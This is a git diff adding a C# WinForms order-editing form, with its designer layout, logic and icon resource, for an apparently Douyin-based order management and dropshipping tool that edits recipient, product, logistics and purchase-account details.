System.Drawing.Size(65, 12); + this.label8.TabIndex = 547; + this.label8.Text = "物流公司:"; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(283, 53); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(53, 12); + this.label7.TabIndex = 545; + this.label7.Text = "买手号:"; + // + // tborderidbuy + // + // + // + // + this.tborderidbuy.Border.Class = "TextBoxBorder"; + this.tborderidbuy.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tborderidbuy.Location = new System.Drawing.Point(333, 16); + this.tborderidbuy.Name = "tborderidbuy"; + this.tborderidbuy.Size = new System.Drawing.Size(248, 21); + this.tborderidbuy.TabIndex = 544; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(260, 20); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(77, 12); + this.label3.TabIndex = 543; + this.label3.Text = "拍单订单号:"; + // + // tbmobile + // + // + // + // + this.tbmobile.Border.Class = "TextBoxBorder"; + this.tbmobile.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbmobile.Location = new System.Drawing.Point(476, 80); + this.tbmobile.Name = "tbmobile"; + this.tbmobile.Size = new System.Drawing.Size(104, 21); + this.tbmobile.TabIndex = 527; + // + // rbProduct5 + // + this.rbProduct5.AutoSize = true; + this.rbProduct5.Location = new System.Drawing.Point(12, 181); + this.rbProduct5.Name = "rbProduct5"; + this.rbProduct5.Size = new System.Drawing.Size(113, 16); + this.rbProduct5.TabIndex = 539; + this.rbProduct5.TabStop = true; + this.rbProduct5.Text = "自定义总店ID5:"; + this.rbProduct5.UseVisualStyleBackColor = true; + // + // rbProduct4 + // + this.rbProduct4.AutoSize = true; + this.rbProduct4.Location = new System.Drawing.Point(12, 148); + this.rbProduct4.Name = "rbProduct4"; + this.rbProduct4.Size = new System.Drawing.Size(113, 16); + this.rbProduct4.TabIndex = 538; + this.rbProduct4.TabStop = true; + this.rbProduct4.Text = "自定义总店ID4:"; + this.rbProduct4.UseVisualStyleBackColor = true; + // + // rbProduct3 + // + this.rbProduct3.AutoSize = true; + this.rbProduct3.Location = new System.Drawing.Point(12, 114); + this.rbProduct3.Name = "rbProduct3"; + this.rbProduct3.Size = new System.Drawing.Size(113, 16); + this.rbProduct3.TabIndex = 537; + this.rbProduct3.TabStop = true; + this.rbProduct3.Text = "自定义总店ID3:"; + this.rbProduct3.UseVisualStyleBackColor = true; + // + // rbProduct2 + // + this.rbProduct2.AutoSize = true; + this.rbProduct2.Location = new System.Drawing.Point(12, 82); + this.rbProduct2.Name = "rbProduct2"; + this.rbProduct2.Size = new System.Drawing.Size(113, 16); + this.rbProduct2.TabIndex = 536; + this.rbProduct2.TabStop = true; + this.rbProduct2.Text = "自定义总店ID2:"; + this.rbProduct2.UseVisualStyleBackColor = true; + // + // rbProduct1 + // + this.rbProduct1.AutoSize = true; + this.rbProduct1.Location = new System.Drawing.Point(12, 49); + this.rbProduct1.Name = "rbProduct1"; + this.rbProduct1.Size = new System.Drawing.Size(113, 16); + this.rbProduct1.TabIndex = 535; + this.rbProduct1.TabStop = true; + this.rbProduct1.Text = "自定义总店ID1:"; + this.rbProduct1.UseVisualStyleBackColor = true; + // + // btsave + // + this.btsave.CanvasColor = System.Drawing.SystemColors.Control; + this.btsave.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btsave.Cursor = System.Windows.Forms.Cursors.Hand; + this.btsave.DisabledBackColor = System.Drawing.Color.Empty; + this.btsave.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btsave.Location = new System.Drawing.Point(521, 213); + this.btsave.Name = "btsave"; + this.btsave.Size = new System.Drawing.Size(60, 47); + this.btsave.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btsave.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.btsave.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.btsave.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btsave.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.btsave.Style.CornerDiameter = 1; + this.btsave.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.btsave.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.btsave.Style.GradientAngle = 90; + this.btsave.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btsave.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.btsave.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.btsave.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btsave.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.btsave.TabIndex = 534; + this.btsave.Text = "保存"; + this.btsave.Click += new System.EventHandler(this.btsave_Click); + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(440, 85); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(41, 12); + this.label5.TabIndex = 530; + this.label5.Text = "电话:"; + // + // tbsku + // + // + // + // + this.tbsku.Border.Class = "TextBoxBorder"; + this.tbsku.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbsku.Location = new System.Drawing.Point(333, 145); + this.tbsku.Name = "tbsku"; + this.tbsku.Size = new System.Drawing.Size(248, 21); + this.tbsku.TabIndex = 523; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(295, 151); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(41, 12); + this.label2.TabIndex = 524; + this.label2.Text = "规格:"; + // + // tbname + // + // + // + // + this.tbname.Border.Class = "TextBoxBorder"; + this.tbname.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbname.Location = new System.Drawing.Point(333, 80); + this.tbname.Name = "tbname"; + this.tbname.Size = new System.Drawing.Size(101, 21); + this.tbname.TabIndex = 525; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(295, 85); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(41, 12); + this.label4.TabIndex = 526; + this.label4.Text = "姓名:"; + // + // tbaddress + // + // + // + // + this.tbaddress.Border.Class = "TextBoxBorder"; + this.tbaddress.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbaddress.Location = new System.Drawing.Point(333, 112); + this.tbaddress.Name = "tbaddress"; + this.tbaddress.Size = new System.Drawing.Size(247, 21); + this.tbaddress.TabIndex = 528; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(295, 116); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(41, 12); + this.label6.TabIndex = 529; + this.label6.Text = "地址:"; + // + // tbremark + // + // + // + // + this.tbremark.Border.Class = "TextBoxBorder"; + this.tbremark.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbremark.Location = new System.Drawing.Point(126, 212); + this.tbremark.Multiline = true; + this.tbremark.Name = "tbremark"; + this.tbremark.Size = new System.Drawing.Size(134, 44); + this.tbremark.TabIndex = 513; + // + // tbDefProductId + // + // + // + // + this.tbDefProductId.Border.Class = "TextBoxBorder"; + this.tbDefProductId.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbDefProductId.Location = new System.Drawing.Point(126, 16); + this.tbDefProductId.Name = "tbDefProductId"; + this.tbDefProductId.ReadOnly = true; + this.tbDefProductId.Size = new System.Drawing.Size(132, 21); + this.tbDefProductId.TabIndex = 509; + // + // tbCustomProductId5 + // + // + // + // + this.tbCustomProductId5.Border.Class = "TextBoxBorder"; + this.tbCustomProductId5.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbCustomProductId5.Location = new System.Drawing.Point(126, 181); + this.tbCustomProductId5.Name = "tbCustomProductId5"; + this.tbCustomProductId5.Size = new System.Drawing.Size(134, 21); + this.tbCustomProductId5.TabIndex = 521; + this.tbCustomProductId5.WatermarkText = "填写后默认为总店ID"; + // + // tbCustomProductId4 + // + // + // + // + this.tbCustomProductId4.Border.Class = "TextBoxBorder"; + this.tbCustomProductId4.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbCustomProductId4.Location = new System.Drawing.Point(126, 146); + this.tbCustomProductId4.Name = "tbCustomProductId4"; + this.tbCustomProductId4.Size = new System.Drawing.Size(134, 21); + this.tbCustomProductId4.TabIndex = 519; + this.tbCustomProductId4.WatermarkText = "填写后默认为总店ID"; + // + // tbCustomProductId3 + // + // + // + // + this.tbCustomProductId3.Border.Class = "TextBoxBorder"; + this.tbCustomProductId3.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbCustomProductId3.Location = new System.Drawing.Point(126, 112); + this.tbCustomProductId3.Name = "tbCustomProductId3"; + this.tbCustomProductId3.Size = new System.Drawing.Size(134, 21); + this.tbCustomProductId3.TabIndex = 517; + this.tbCustomProductId3.WatermarkText = "填写后默认为总店ID"; + // + // tbCustomProductId1 + // + // + // + // + this.tbCustomProductId1.Border.Class = "TextBoxBorder"; + this.tbCustomProductId1.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbCustomProductId1.Location = new System.Drawing.Point(126, 48); + this.tbCustomProductId1.Name = "tbCustomProductId1"; + this.tbCustomProductId1.Size = new System.Drawing.Size(132, 21); + this.tbCustomProductId1.TabIndex = 511; + this.tbCustomProductId1.WatermarkText = "填写后默认为总店ID"; + // + // tbCustomProductId2 + // + // + // + // + this.tbCustomProductId2.Border.Class = "TextBoxBorder"; + this.tbCustomProductId2.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbCustomProductId2.Location = new System.Drawing.Point(126, 80); + this.tbCustomProductId2.Name = "tbCustomProductId2"; + this.tbCustomProductId2.Size = new System.Drawing.Size(132, 21); + this.tbCustomProductId2.TabIndex = 515; + this.tbCustomProductId2.WatermarkText = "填写后默认为总店ID"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(46, 20); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(77, 12); + this.label1.TabIndex = 510; + this.label1.Text = "默认总店ID:"; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(58, 214); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(65, 12); + this.label13.TabIndex = 514; + this.label13.Text = "订单备注:"; + // + // OrderEdit + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(599, 301); + this.Controls.Add(this.plmain); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "OrderEdit"; + this.Text = "编辑订单"; + this.TitleText = "编辑订单"; + this.Load += new System.EventHandler(this.OrderEdit_Load); + this.Controls.SetChildIndex(this.plmain, 0); + this.plmain.ResumeLayout(false); + this.plmain.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel plmain; + private DevComponents.DotNetBar.Controls.TextBoxX tbremark; + private DevComponents.DotNetBar.Controls.TextBoxX tbDefProductId; + private DevComponents.DotNetBar.Controls.TextBoxX tbCustomProductId5; + private DevComponents.DotNetBar.Controls.TextBoxX tbCustomProductId4; + private DevComponents.DotNetBar.Controls.TextBoxX tbCustomProductId3; + private DevComponents.DotNetBar.Controls.TextBoxX tbCustomProductId1; + private DevComponents.DotNetBar.Controls.TextBoxX tbCustomProductId2; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label13; + private DevComponents.DotNetBar.PanelEx btsave; + private System.Windows.Forms.Label label5; + private DevComponents.DotNetBar.Controls.TextBoxX tbsku; + private System.Windows.Forms.Label label2; + private DevComponents.DotNetBar.Controls.TextBoxX tbname; + private System.Windows.Forms.Label label4; + private DevComponents.DotNetBar.Controls.TextBoxX tbmobile; + private DevComponents.DotNetBar.Controls.TextBoxX tbaddress; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.RadioButton rbProduct5; + private System.Windows.Forms.RadioButton rbProduct4; + private System.Windows.Forms.RadioButton rbProduct3; + private System.Windows.Forms.RadioButton rbProduct2; + private System.Windows.Forms.RadioButton rbProduct1; + private System.Windows.Forms.Button button1; + private DevComponents.DotNetBar.Controls.TextBoxX tbprice; + private System.Windows.Forms.Label label11; + private DevComponents.DotNetBar.Controls.TextBoxX tbcount; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.ComboBox cbmaishou; + private DevComponents.DotNetBar.Controls.TextBoxX tbexpress_no; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.ComboBox cbexpress_name; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.Label label7; + private DevComponents.DotNetBar.Controls.TextBoxX tborderidbuy; + private System.Windows.Forms.Label label3; + } +} \ No newline at end of file diff --git a/29WxOrder/OrderForms/OrderEdit.cs b/29WxOrder/OrderForms/OrderEdit.cs new file mode 100644 index 0000000..73a2330 --- /dev/null +++ b/29WxOrder/OrderForms/OrderEdit.cs @@ -0,0 +1,298 @@ +using AllBase; +using AllBase.DouYinModel.Result; +using AllBase.Model.Result; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.Api; +using Work.BaseForms; +using Work.BuyUsers; + +namespace _29WxOrder.OrderForms +{ + public partial class OrderEdit : BaseForm + { + public OrderEdit() + { + InitializeComponent(); + } + public BuyOrderListForm buyOrderListForm; + public SendOrderListForms sendOrderForms; + public AfterSaleOrderListForm afterSaleOrderListForm; + public DouYinOrderModel orderDetail { get; internal set; } + /// + /// 1sendorder 2 buyorder 4 aftersale + /// + public int formtype = 0; + + private void OrderEdit_Load(object sender, EventArgs e) + { + this.TitleText = "编辑订单"; + if (string.IsNullOrEmpty(orderDetail?.product_id)) + { + return; + } + string url = BaseClass.DouYinBuildObjString("upid&act=get"); + string html = GetHtml.PostUtf8(url, "pid=" + orderDetail.product_id + "&" + UserLogin.GetSignaturex()); + var jArr = JObject.Parse(html)["data"]; + if (jArr.Count() > 0) + { + if (JObject.Parse(html)["data"][0]["up_ids"].ToString() == JObject.Parse(html)["data"][0]["default_up_ids"].ToString()) + { + rbProduct1.Checked = true; + } + else if (JObject.Parse(html)["data"][0]["up_ids2"].ToString() == JObject.Parse(html)["data"][0]["default_up_ids"].ToString()) + { + rbProduct2.Checked = true; + } + else if (JObject.Parse(html)["data"][0]["up_ids3"].ToString() == JObject.Parse(html)["data"][0]["default_up_ids"].ToString()) + { + rbProduct3.Checked = true; + } + else if (JObject.Parse(html)["data"][0]["up_ids4"].ToString() == JObject.Parse(html)["data"][0]["default_up_ids"].ToString()) + { + rbProduct4.Checked = true; + } + else if (JObject.Parse(html)["data"][0]["up_ids5"].ToString() == JObject.Parse(html)["data"][0]["default_up_ids"].ToString()) + { + rbProduct5.Checked = true; + } + + tbCustomProductId1.Text = JObject.Parse(html)["data"][0]["up_ids"].ToString(); + tbCustomProductId2.Text = JObject.Parse(html)["data"][0]["up_ids2"].ToString(); + tbCustomProductId3.Text = JObject.Parse(html)["data"][0]["up_ids3"].ToString(); + tbCustomProductId4.Text = JObject.Parse(html)["data"][0]["up_ids4"].ToString(); + tbCustomProductId5.Text = JObject.Parse(html)["data"][0]["up_ids5"].ToString(); + } + + tbDefProductId.Text = orderDetail.up_product_id; + tbname.Text = orderDetail.name; + tbmobile.Text = orderDetail.mobile; + tbaddress.Text = orderDetail.address; + tbsku.Text = orderDetail.sku; + tborderidbuy.Text = orderDetail.order_id_buy; + tbcount.Text = orderDetail.count.ToString(); + tbprice.Text = orderDetail.buy_price; + cbexpress_name.Text = orderDetail.express_name; + tbexpress_no.Text = orderDetail.express_no; + tbremark.Text = orderDetail.remark; + + foreach (var item in CollectionClass.ExpressList) + { + cbexpress_name.Items.Add(item.name); + } + + cbmaishou.Items.Clear(); + List listum = new List(); + foreach (KeyValuePair item in TaoBaoBuyUser.buyUserCookies)//拍单买手号 + { + UserModel um = new UserModel(); + um.name = item.Key.name; + um.uid = item.Value.uid; + listum.Add(um); + } + foreach (KeyValuePair item in PddBuyUser.buyUserCookies)//拍单买手号 + { + UserModel um = new UserModel(); + um.name = item.Key.name; + um.uid = item.Value.uid; + listum.Add(um); + } + foreach (KeyValuePair item in ALBuyUser.buyUserCookies)//拍单买手号 + { + UserModel um = new UserModel(); + um.name = item.Key.name; + um.uid = item.Value.uid; + listum.Add(um); + } + foreach (var item in AllBase.Helper.GlobalConfig.LstPddPifaShop)//拍单买手号 + { + UserModel um = new UserModel(); + um.name = item.PddId; + um.uid = item.PddId; + listum.Add(um); + } + + cbmaishou.DataSource = listum; + cbmaishou.ValueMember = "uid"; + cbmaishou.DisplayMember = "name"; + + for (int i = 0; i < cbmaishou.Items.Count; i++) + { + if (orderDetail.buyer_mobile_uid == (cbmaishou.Items[i] as UserModel).uid) + { + cbmaishou.SelectedIndex = i; + break; + } + } + + } + + private void btsave_Click(object sender, EventArgs e) + { + StringBuilder sb = new StringBuilder(); + sb.Append("&pid=" + orderDetail.product_id); + sb.Append("&up_ids=" + tbCustomProductId1.Text.Trim()); + sb.Append("&up_ids2=" + tbCustomProductId2.Text.Trim()); + sb.Append("&up_ids3=" + tbCustomProductId3.Text.Trim()); + sb.Append("&up_ids4=" + tbCustomProductId4.Text.Trim()); + sb.Append("&up_ids5=" + tbCustomProductId5.Text.Trim()); + string defid = ""; + if (rbProduct1.Checked == true) + { + defid = tbCustomProductId1.Text.Trim(); + sb.Append("&default_up_ids=" + tbCustomProductId1.Text.Trim()); + } + else if (rbProduct2.Checked == true) + { + defid = tbCustomProductId2.Text.Trim(); + sb.Append("&default_up_ids=" + tbCustomProductId2.Text.Trim()); + } + else if (rbProduct3.Checked == true) + { + defid = tbCustomProductId3.Text.Trim(); + sb.Append("&default_up_ids=" + tbCustomProductId3.Text.Trim()); + } + else if (rbProduct4.Checked == true) + { + defid = tbCustomProductId4.Text.Trim(); + sb.Append("&default_up_ids=" + tbCustomProductId4.Text.Trim()); + } + else if (rbProduct5.Checked == true) + { + defid = tbCustomProductId5.Text.Trim(); + sb.Append("&default_up_ids=" + tbCustomProductId5.Text.Trim()); + } + string url = BaseClass.DouYinBuildObjString("upid&act=save"); + string htmlUpid = GetHtml.PostUtf8(url, sb + "&" + UserLogin.GetSignaturex()); + + sb = new StringBuilder(); + sb.Append("&order_id=" + orderDetail.order_id); + sb.Append("&sku=" + GetHtml.UrlEncodeUtf8(tbsku.Text)); + sb.Append("&count=" + tbcount.Text); + sb.Append("&buy_price=" + tbprice.Text); + sb.Append("&express_name=" + cbexpress_name.Text); + sb.Append("&express_no=" + tbexpress_no.Text); + sb.Append("&name=" + GetHtml.UrlEncodeUtf8(tbname.Text)); + sb.Append("&mobile=" + GetHtml.UrlEncodeUtf8(tbmobile.Text)); + sb.Append("&address=" + GetHtml.UrlEncodeUtf8(tbaddress.Text)); + sb.Append("&buyer_mobile=" + cbmaishou.Text); + sb.Append("&buyer_mobile_uid=" + cbmaishou.SelectedValue); + sb.Append("&order_id_buy=" + tborderidbuy.Text); + sb.Append("&remark=" + tbremark.Text); + sb.Append("&is_update_order=0"); // 1修改状态0不修改状态 + + DouShopLoginInfo shop = Work.CollectionClass.DouShopLoginList.Find(x => x.ShopId == orderDetail.shop_id.ToString()); + if (shop != null) + { + orderDetail.remark = tbremark.Text.ToString(); + Dictionary dic = new Dictionary() { }; + dic.Add("remark", tbremark.Text.ToString()); + dic.Add("order_id", orderDetail.order_id); + DouyinApi apix = new DouyinApi(shop); + apix.JsonData = dic; + string htmls = apix.AddOrderRemark(); + } + + url = BaseClass.DouYinBuildObjString("order&act=update"); + var result = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + if (formtype == 1) + { + sendOrderForms.RreshUpIds(orderDetail.order_id); + } + else if (formtype == 2) + { + buyOrderListForm.RreshUpIds(orderDetail.order_id, orderDetail.product_id); + } + else if (formtype == 4 && afterSaleOrderListForm != null) + { + afterSaleOrderListForm.RreshUpIds(orderDetail.order_id); + } + + if (!string.IsNullOrEmpty(htmlUpid) && htmlUpid.Contains("\"code\":200") && !string.IsNullOrEmpty(result) && result.Contains("\"code\":200")) + { + BaseMsgForm.ShowInfo("编辑成功"); + } + else + { + var msg1 = ""; + var msg2 = ""; + if (!string.IsNullOrEmpty(htmlUpid) && !htmlUpid.Contains("\"code\":200")) + { + msg1 = "," + BaseRegex.GetStringJson(ref htmlUpid, "msg"); + } + if (!string.IsNullOrEmpty(result) && !result.Contains("\"code\":200")) + { + msg2 = "," + BaseRegex.GetStringJson(ref result, "msg"); + } + + BaseMsgForm.ShowInfo("编辑失败" + msg1 + msg2); + } + } + + private void button1_Click(object sender, EventArgs e) + { + string orderId = orderDetail.order_id; + string orderId_buy = tborderidbuy.Text; + string payMobile = cbmaishou.Text; + string payMobileId = cbmaishou.SelectedValue.ToString(); + if (string.IsNullOrEmpty(payMobile)) + { + BaseMsgForm.ShowInfo("请添加拍单账户", "", FormLevel.SMALL); + return; + } + if (string.IsNullOrEmpty(orderId_buy)) + { + BaseMsgForm.ShowInfo("请添加拍单单号", "", FormLevel.SMALL); + return; + } + string cookies = ""; + if (orderId_buy.Contains("-")) + { + var payAccount = PddBuyUser.buyUserCookies.First(x => x.Key.name == payMobile); + if (payAccount.Value == null) + { + BaseMsgForm.ShowInfo("未找到对应的拍单账户", "", FormLevel.SMALL); + return; + } + for (int j = 0; j < payAccount.Value.Cookies.Count; j++) + { + cookies += payAccount.Value.Cookies[j].Name + "=" + payAccount.Value.Cookies[j].Value + "; "; + } + } + else + { + var payAccount = TaoBaoBuyUser.buyUserCookies.FirstOrDefault(x => x.Key.name == payMobile); + if (payAccount.Value == null) + { + BaseMsgForm.ShowInfo("未找到对应的拍单账户", "", FormLevel.SMALL); + return; + } + for (int j = 0; j < payAccount.Value.Cookies.Count; j++) + { + cookies += payAccount.Value.Cookies[j].Name + "=" + payAccount.Value.Cookies[j].Value + "; "; + } + } + + string buyPrice = new AutoConfirmExpress(cookies).CheckOrderPrice(orderId_buy, orderId, payMobile); + if (!string.IsNullOrEmpty(buyPrice)) + { + tbprice.Text = buyPrice; + } + + } + } + public class UserModel + { + public string uid { get; set; } + public string name { get; set; } + } +} diff --git a/29WxOrder/OrderForms/OrderEdit.resx b/29WxOrder/OrderForms/OrderEdit.resx new file mode 100644 index 0000000..e540000 --- /dev/null +++ b/29WxOrder/OrderForms/OrderEdit.resx @@ -0,0 +1,1253 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAgBAMQOAADEDgAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8b/34/VP9+P3//fj+m/34/zP9+ + P+T/fj/1/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/6/34/7v9+P93/fj/M/34/pv9+P3//fj9U/34/GwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+ + PzP/fj+Q/34/2/9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/2/9+P5D/fj8zAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/Df9+P3T/fj/W/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj/W/34/dP9+Pw0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/EP9+P4D/fj/t/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/7f9+ + P4H/fj8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA/34/Af9+P2H/fj/r/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P+v/fj9h/34/AQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PyT/fj/E/34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj/E/34/IwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 